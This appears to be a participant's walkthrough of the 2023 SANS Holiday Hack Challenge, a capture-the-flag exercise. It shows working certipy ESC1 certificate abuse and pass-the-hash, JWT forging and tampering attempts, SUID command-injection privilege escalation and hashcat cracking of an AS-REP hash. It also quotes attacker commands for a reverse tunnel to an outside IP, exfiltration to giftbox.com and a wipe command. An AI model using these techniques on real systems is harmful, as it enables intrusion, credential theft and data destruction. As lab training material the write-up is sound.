[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA:
    CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231213035603_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231213035603_Certipy.txt'
[*] Saved JSON output to '20231213035603_Certipy.json'

Certificate authority info

CA Name : northpole-npdc01-CA
DNS Name : npdc01.northpole.local

12 certificate templates are active. These three look promising:

Administrator, User, NorthPoleUsers.

Can we get an admin user or should we just get one for wombleycube because none of the users are admin.

Next we must request a certificate for the wombleycube user like this:

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 773
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'
[*] Saved certificate and private key to 'john.pfx'

I got an error because I awas passing npdc01.northpole.local to target, I should have used the actual IP.

We cannot enroll as admin

$ certipy req -username [email protected] -password 'J4`ufC49/J4766'
    -ca northpole-npdc01-CA -target 10.0.0.53 -template Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Failed to resolve: NORTHPOLE.LOCAL
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 -
    CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template
    do not allow the current user to enroll for this type of certificate.
[*] Request ID is 32
Would you like to save the private key? (y/N) y
[*] Saved private key to 32.key
[-] Failed to request certificate

And we cannot do this either https://github.com/ly4k/Certipy#esc7.

Let's start with ESC1: https://github.com/ly4k/Certipy#esc1

certipy req -username [email protected] -password 'J4`ufC49/J4766' \
    -ca northpole-npdc01-CA -target 10.0.0.53 -template NorthPoleUsers \
    -upn [email protected] -dns npdc01.northpole.local

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Failed to resolve: NORTHPOLE.LOCAL
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 36
[*] Got certificate with multiple identifications
    UPN: '[email protected]'
    DNS Host Name: 'npdc01.northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube_npdc01.pfx'

Then we can continue with the guide to get the hash for wombleycube.

$ certipy auth -pfx w.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: '[email protected]'
    [1] DNS Host Name: 'npdc01.northpole.local'
> 0
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Option 1 returns this: aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

This didn't work with smbclient so I went in and used the second option this time: aad3b435b51404eeaad3b435b51404ee:cf41d14e7eb9cd009b5d174b14d77d1b

I was connecting to the file share with the wrong username when using the hashes. I should connect using the wombleycube username when using its hash.

$ smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 \
    -dc-ip 10.0.0.53 northpole.local/[email protected]
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# info
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 .
drw-rw-rw-          0  Wed Dec 13 01:20:30 2023 ..
-rw-rw-rw-     701028  Wed Dec 13 01:20:33 2023 Cookies.pdf
-rw-rw-rw-    1521650  Wed Dec 13 01:20:33 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Wed Dec 13 01:20:33 2023 SignatureCookies.pdf
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 super_secret_research
-rw-rw-rw-        165  Wed Dec 13 01:20:33 2023 todo.txt
# cd super_secret_research
# ls
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 .
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 ..
-rw-rw-rw-        231  Wed Dec 13 01:20:33 2023 InstructionsForEnteringSatelliteGroundStation.txt

# cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Answer: InstructionsForEnteringSatelliteGroundStation.txt.

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

Hs is in Brass Bouy Port.

I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.

Remember, we're aiming for quick and easy solutions here - nothing too complex.

Once we've gathered a few possible combinations, let's team up and try them out.

Google doc from the video author: https://docs.google.com/document/d/1QhKZLDr22G0RpuTSGm0M6pz4dG82IByesim3elwfw98/edit

Removed my notes here because I found https://samy.pl/master/master.html.

I tried a few times and nothing worked. I even dumped the numbers with console.log(lock_numbers) and trying them didn't work either.

So I cheated. Put a breakpoint on if (stage == 3 && !isTweenActive) {. Change stage to 3 and I was done.

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You'll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

Hs is in Brass Bouy Port.

I have kept only the important parts of the dialoge.

The new SDR uses some fancy JWT technology to control access.

The captain has a knack for shortening words, some sorta abbreviation trick.

Not familiar with JWT values? No worries; just think of it as a clue-solving game.

I've seen that the Captain likes to carry his journal with him wherever he goes.

If only I could find the planned "go-date", "go-time", and radio frequency they plan to use.

Remember, the captain's abbreviations are your guiding light through this mystery!

Once we find a JWT value, these villains won't stand a chance.

We need to recreate an administrative JWT value to successfully transmit a message.

Good luck, matey! I've no doubts about your cleverness in cracking this conundrum!

Send a message with a new go-time that is four hours earlier than what was planned.

Four roles:

• radioUser: Initial jwt. Cannot do anything.
• radioMonitor: jwDefault/rMonitor.tok to view data.
• radioDecoder: To decode signals.
• Admin which is GeeseIslandsSuperChiefCommunicationsOfficer.

The system uses JWT authorization bearer tokens.

The main page sets two cookies:

// justWatchThisRole

// header
{
  "alg": "RS256",
  "typ": "JWT"
}

// payload
{
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioUser"
}

// signature

And CaptainsCookie which appears to be malformed

// header
{"captainsVictory":0,"userid":"1107f7a8-1eef-4a38-b8f8-7335c94bc9c6"}

// payload
e}$1

// signature
00000000  8f 95 89 dd aa 16 86 67 c6 b5 ab 7b 9a 5f 20 b2  |...ݪ..gƵ«{._ ²|
00000010  ed 80 80 0a                                      |í...|

Our first task is figure out how to change the role to radioMonitor.

https://captainscomms.com/checkRole uses the justWatchThisRole cookie as an "Authorization: Bearer" token.

X-Request-Item header has the requested resource:

• waterfall: decoder.
• tx: transmitter.

https://captainscomms.com/jwtDefault is also inaccesible even with the initial JWT.

With the default token, we get this

// header
{"alg":"RS256","typ":"JWT"}

// payload
{
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioMonitor"
}

So I guess we can use this token to access the laptop monitor. The checkrole is called when I click on the signals so I edited the value of the justWatchThisRole in the browser.

We can click on the signals to decode them. None are accessible with our current token.

The value of X-Request-Item for them are (from left to right).

• dcdCW: Has morse code and we saw it in the journal.
• dcdNUM:
• dcdFX:

We need to have the radioDecoder role to access them.

The notes mention that captain's public key is in the same directory as the radioMonitor token. Using the authorization header we see it at https://captainscomms.com/jwtDefault/keys/capsPubKey.key:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----

Let's try doing an "alg":"none" attack and change our role to radioDecoder. Most likely will not work. And it didn't work.

If we see the public key, the challenge might want us to do a "sign with public key" attack to modify the role to radioDecoder.

Signing with empty key like this didn't work.

{
    "kid": "../../../../../../dev/null",
    "typ": "JWT",
    "alg": "HS256"
}

Signing the key with the public key didn't work either.

The trick was trying to download https://captainscomms.com/jwtDefault/rDecoder.tok with the radioMonitor token. Which gave me the radioDecoder token.

// payload
{
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioDecoder"
}

Now when clicking on the signals to decode, I get these in response: dcdCW.mp4, dcdNUM.mp4, dcdFX.mp4.

Burp was hiding the image files in the history (because that's how I usually set up the filters). The actual files are in paths like this https://captainscomms.com/static/images/dcdCW.mp4. It was not working in the Burp browser so I had to use cURL. Interestingly, the other two files didn't need the JWT and I could just download them.

All 3 are video files:

// dcdCW.mp4
SILLY CAPTAIN! WE FOUND HIS FANCY RADIO PRIVATE KEY IN A FOLDER CALLED TH3CAPSPR1V4T3F0LD3R.

// dcdFX.mp4
Image of the islands. The center one has a bubble that says "Freq: 10426 Hz".

// dcdNUM.mp4
{music} {music} {music}
88323 88323 88323
{gong} {gong} {gong} {gong} {gong} {gong}
12249 12249 16009 16009 12249 12249 16009 16009
{gong} {gong} {gong} {gong} {gong} {gong}
{music} {music} {music}

We need to figure out the name of the private key.

Clues: TH3CAPSPR1V4T3F0LD3R and /jwtDefault/keys/capsPubKey.key.

Key is in https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key

We can forge a JWT for the admin role. The admin role is GeeseIslandsSuperChiefCommunicationsOfficer. And we can use the transmitter.

We need a frequency, go-date and go-time.

We already know the frequency: 10426.

We have to decode the number station message to figure out the go-date and go-time of the original message and then respond with a time four hours earlier.

Usually the first part of the message in the number station (88323 here) is the ID of the intended recipient. We can discard it here.

Looking at the rest of the numbers. They all end in 9

12249 12249 16009 16009 12249 12249 16009 16009

// if we remove it, we get 1224 1600 which are the date and time.

// we need to send 4 hours earlier so
1224 1200

And that solved the challenge.

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

Hint:

There's various ways to escalate privileges on a Linux system.

Another hint:

Use the privileged binary to overwriting a file to escalate privileges could be a solution, but there's an easier method if you pass it a crafty argument.

* Find a method to escalate privileges inside this terminal and then run the binary in /root *

$ whoami
elf

$ uname -a 
Linux 69784a4cfc71 5.10.0-26-cloud-amd64 #1
    SMP Debian 5.10.197-1 (2023-09-29) x86_64 x86_64 x86_64 GNU/Linux

SUID executables appear to be what we should be looking for.

$ find / -perm -u=s -type f 2>/dev/null 
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy

The last binary is the one we should be exploiting because it's very new.

$ ls -alt /usr/bin
total 35800
-rwsr-xr-x 1 root root     16952 Dec  2 22:17  simplecopy
# removed

$ /usr/bin/simplecopy --help
Usage: ./simplecopy <source> <destination>

We can easily copy out /etc/passwd and change our permissions to be able to run as root. However, what about the "crafty argument"?

Both arguments are vulnerable to command injection. However, first argument's injection will use the rest as input. So /usr/bin/simplecopy nem1;ls nem2 will run ls nem2.

Seems like I cannot do spaces in the commands unless I split it between the arguments. E.g., this doesn't work because ls -alt is counted as one command.

`/usr/bin/simplecopy nem2;'ls -alt' /root
Usage: /usr/bin/simplecopy <source> <destination>
bash: ls -alt: command not found`

This should work but doesn't?!

$ /usr/bin/simplecopy nem2;ls /root  
Usage: /usr/bin/simplecopy <source> <destination>
ls: cannot open directory '/root': Permission denied

For some reason I cannot see inside /root. Although the permissions are set.

$ /usr/bin/simplecopy nem2;'ls' -alt 
Usage: /usr/bin/simplecopy <source> <destination>
# removed
drwx------   1 root root 4096 Dec  2 22:17 root

I am still elf?

$ /usr/bin/simplecopy nem2;'whoami' 
Usage: /usr/bin/simplecopy <source> <destination>
elf

Looks like it's just piping the input to cp so cp src dst. So this copies /root to /home/elf: /usr/bin/simplecopy '-r /root' '/home/elf/' but the permissions are not changed.

After relogging to the machine, it worked. With whoami I can see I am root. So now I can see inside the /root directory.

$ /usr/bin/simplecopy '--ss' ';ls /root'
cp: unrecognized option '--ss'
Try 'cp --help' for more information.
runmetoanswer

$ /usr/bin/simplecopy '--ss' ';/root/runmetoanswer'
cp: unrecognized option '--ss'
Try 'cp --help' for more information.
Who delivers Christmas presents?

> [waits for prompt]

Now I need to answer the question. Santa is not the correct answer. Answer was actually santa. We could also see the help for this binary with

$ /usr/bin/simplecopy '--ss' ';/root/runmetoanswer --help'
cp: unrecognized option '--ss'
Try 'cp --help' for more information.
D'aww, people hardly ever ask me for help! Nice to meet you!

The usage is really easy, we promise! Just pass your answer as a commandline argument, like:

    ./runtoanswer MyWonderfulAnswer

Or just run ./runtoanswer by itself, and it'll ask for your answer!

Bye now!

Hint from Rose Mold after finishing:

There's a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.

The area is supposed to have something on it that's totes worth, but I hear all the bad vibe toys chill there.

In the hints:

Uncharted

Not all the areas around Geese Islands have been mapped, and may contain wonderous treasures. Go exploring, hunt for treasure, and find the pirate's booty!

Treasure? Does it mean all the ports? I've already found all of them. Hmm.

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer

$ cat hash.txt 
[email protected]:[removed]$[removed]

It appears to be a Kerberos ticket $krb5asrep$23$<user>@<realm>:<long_string>:

• $krb5asrep$: It's a Kerberos AS-REP (Authentication Service Response) ticket.
• 23: The version number of the Kerberos protocol. asdsad
• <user>: The username associated with the ticket, alabaster_snowball.
• <realm>: The Kerberos realm, XMAS.LOCAL.
• <long_string>: The actual encrypted ticket data.

Break with hashcat

$ hashcat -m 18200 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 \
    --force hash.txt password_list.txt
# removed

Candidates.#1....: 1LuvCandyC4n3s!2022 -> iLuvC4ndyC4n3s!23!

Now we need to see the password.

$ hashcat -m 18200 --show hash.txt   
[email protected]:[22865a2bceeaa73227ea4021879eda02]$[string]:IluvC4ndyC4nes!

$ /bin/runtoanswer IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!

Checking....
Your answer is correct!

Answer: IluvC4ndyC4nes!.

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials.

Hint:

Check out Chris Elgee's talk regarding his and his wife's luggage. Sounds weird but interesting!

1. Align the notches.
2. Try.
3. If it doesn't work, move each item one right and try again.

Put pressure on the opening lock and spin the numbers until they get stuck.

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

Hint:

Try to outsmart Shifty by sending him an error he may not understand.

https://www.tenable.com/blog/python-nan-injection

We have to modify the payload to send nan instead of the numbers.

POST /action?id=971d000d-84e3-48fd-b78f-971da824e6a1 HTTP/2
Host: nannannannannannan.com

{"play":"5,4,3,2,1"}

Either use Burp or put a breakpoint on the line below and modify the values of array_of_choices_as_csv.

function play_card_selection(array_of_choices_as_csv) {
    armsopen()
    if (!Array.isArray(array_of_choices_as_csv)) {
        Talk("That was not a valid array of string choices!")
        return
    }
    var isstringarr = array_of_choices_as_csv => array_of_choices_as_csv.every(i => typeof i === "string")
    if (!isstringarr) {
        Talk("That was not a valid array of string choices!")
        return
    }
    var rid = getIdFromUrlOrDefault() // <--- HERE

Not suggesting a full-blown forensic analysis, just mark the ones screaming digital fraud.

Hint:

Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare's Guide.

1. DMARC: Fail -> phishing.
2. DMARC: Pass but not from mail.geeseislands.com -> phishing.

Use Azure Data Explorer to uncover misdeeds in Santa's IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

From Tangle Coalbox

Before you start, you'll need to create a free cluster.

Hints:

Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!

Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.

Looking for a file that was created on a victim system? Don't forget the FileCreationEvents table.

Notes:

has operator == contains == operator or case-insensitive =~ operator

Which employee has the IP address: '10.10.0.19'?

Employees 
| where ip_addr == "10.10.0.19"

Candy Cane Sugarplum

How many emails did Santa Claus receive?

Email
| where recipient =~ "[email protected]"
| summarize count() by recipient

// the solution uses "count" like this

Email
| where recipient =~ '[email protected]'
| count

19

summarize dcount(sender) or distinct sender.

OutboundNetworkEvents table contains websites browsed by employees. User name is not recorded, but each user has one assigned IP address in the Employees table.

The 3rd question in the training is wrong. It asks "How many unique websites did Rudolph Rednose visit?". There's no employee by that name in the Employees table.

The solution uses the IP for "Rudolph Wreathington" (only employee with Rudolph in their name) and the answer from that solution is not accepted.

KQL Cheatsheet: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/kql-quick-reference

Onboarding

How many Craftperson Elf's are working from laptops?

The Employees table has a column hostname. Laptop users' machines end in LAPTOP like RZLS-LAPTOP.

My initial mistake was not looking at the roles. Not every employee has the Craftperson Elf role.

Employees
| where role has "craftsperson" and hostname has "laptop"
| summarize dcount(hostname)

25

Case 1

The alert says the user clicked the malicious link http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx.

Email
| where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

What is the email address of the employee who received this phishing email? [email protected]

What is the email address that was used to send this spear phishing email?
[email protected]

What was the subject line used in the spear phishing email? [EXTERNAL] Invoice foir reindeer food past due

Case 2

What is the role of our victim in the organization? Head Elf

What is the hostname of the victim's machine? Y1US-DESKTOP

What is the source IP linked to the victim? 10.10.0.4

Case 3

OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"

What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs! 2023-12-02T10:12:42Z

What file is dropped to Alabaster's machine shortly after he downloads the malicious file? Assuming "shortly" here is an hour. We can use between. Note how I had to pass the time stamp text to datetime.

FileCreationEvents
| where hostname == "Y1US-DESKTOP" and timestamp between(datetime(2023-12-02T10:12:42Z) .. datetime(2023-12-02T11:12:42Z))

We see two results, the first is the docx, and the second is the answer: C:\ProgramData\Windows\Jolly\giftwrap.exe.

Case 4

Analyzing what giftwrap.exe did.

The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to? I couldn't find any data with process_name or parent_process_name set to giftwrap. So I just listed all the events for that machine and then looked at the events near the timestamp after download file event in the previous answer.

ProcessEvents
| where hostname == "Y1US-DESKTOP"

# found this command
"ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof

113.37.9.17

What is the timestamp when the attackers enumerated network shares on the machine? The command is net share.

ProcessEvents
| where process_commandline has "net share"

2023-12-02T16:51:44Z

What was the hostname of the system the attacker moved laterally to?

In other words, they move payloads from one endpoint to another and execute them. Adversaries do this with native utilities like net.exe

Source: https://redcanary.com/threat-detection-report/techniques/windows-admin-shares/

So we need to look for net use

ProcessEvents
| where hostname == "Y1US-DESKTOP" and process_commandline has "net use"

// result
cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123

NorthPolefileshare

Case 5

Commands might be base64 encoded.

extend adds a column to the result table.

Employees 
| where name == "Santa Claus" 
| extend Base64Name=base64_encode_tostring(name)

base64_decode_tostring does decoding.

When was the attacker's first base64 encoded PowerShell command executed on Alabaster's machine? Let's see which commands on the machine had the string powershell.

ProcessEvents
| where hostname == "Y1US-DESKTOP" and process_commandline has "powershell"

First result is actually wrong.

We're looking for the 2nd which happend in 2023-12-24T16:07:47Z

What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding) NaughtyNiceList.txt

The 2nd command with a base64 payload decodes into this:

( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\
    metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''

// after reverse
powershell.exe -c Copy-Item
    \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt
    C:\Desktop\NaughtyNiceList.txt

The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to? giftbox.com

Another payload after base64 decode decodes into:

[StRiNg]::JoIn( '', [ChaR[]]([removed]))|& ((gv '*MDr*').NamE[3,11,2]-joiN

# According to ChatGPT
Download-File C:\Desktop\NaughtyNiceList.docx \\giftbox.com\file

# It's actually wrong, the correct answer is
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file

Case 6

We know that the attackers stole Santa's naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?

The final base64 encoded command is C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

What is the name of the executable the attackers used in the final malicious command? downwithsanta.exe

What was the command line flag used alongside this executable? --wipeall

Final

To earn credit for your fantastic work, return to the Holiday Hack Challenge and enter the secret phrase which is the result of running this query: print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')

Answer: Beware the Cube that Wombles.

There's a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

The secret passphrase is from Certificate SSHenanigans.

# cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

We need to upload a wav file that says the passphrase (all of that text and not just the quote) in Wombley's voice. We have his sound in the audiobook he gave us so we need to find an AI that can do analyze it and make a file for us.

https://play.ht/ is in the first hint for this year's holiday hack.

Find the first Gamegosling cartridge and beat the game

The first one is in Tarnished Cove

It's a block move game.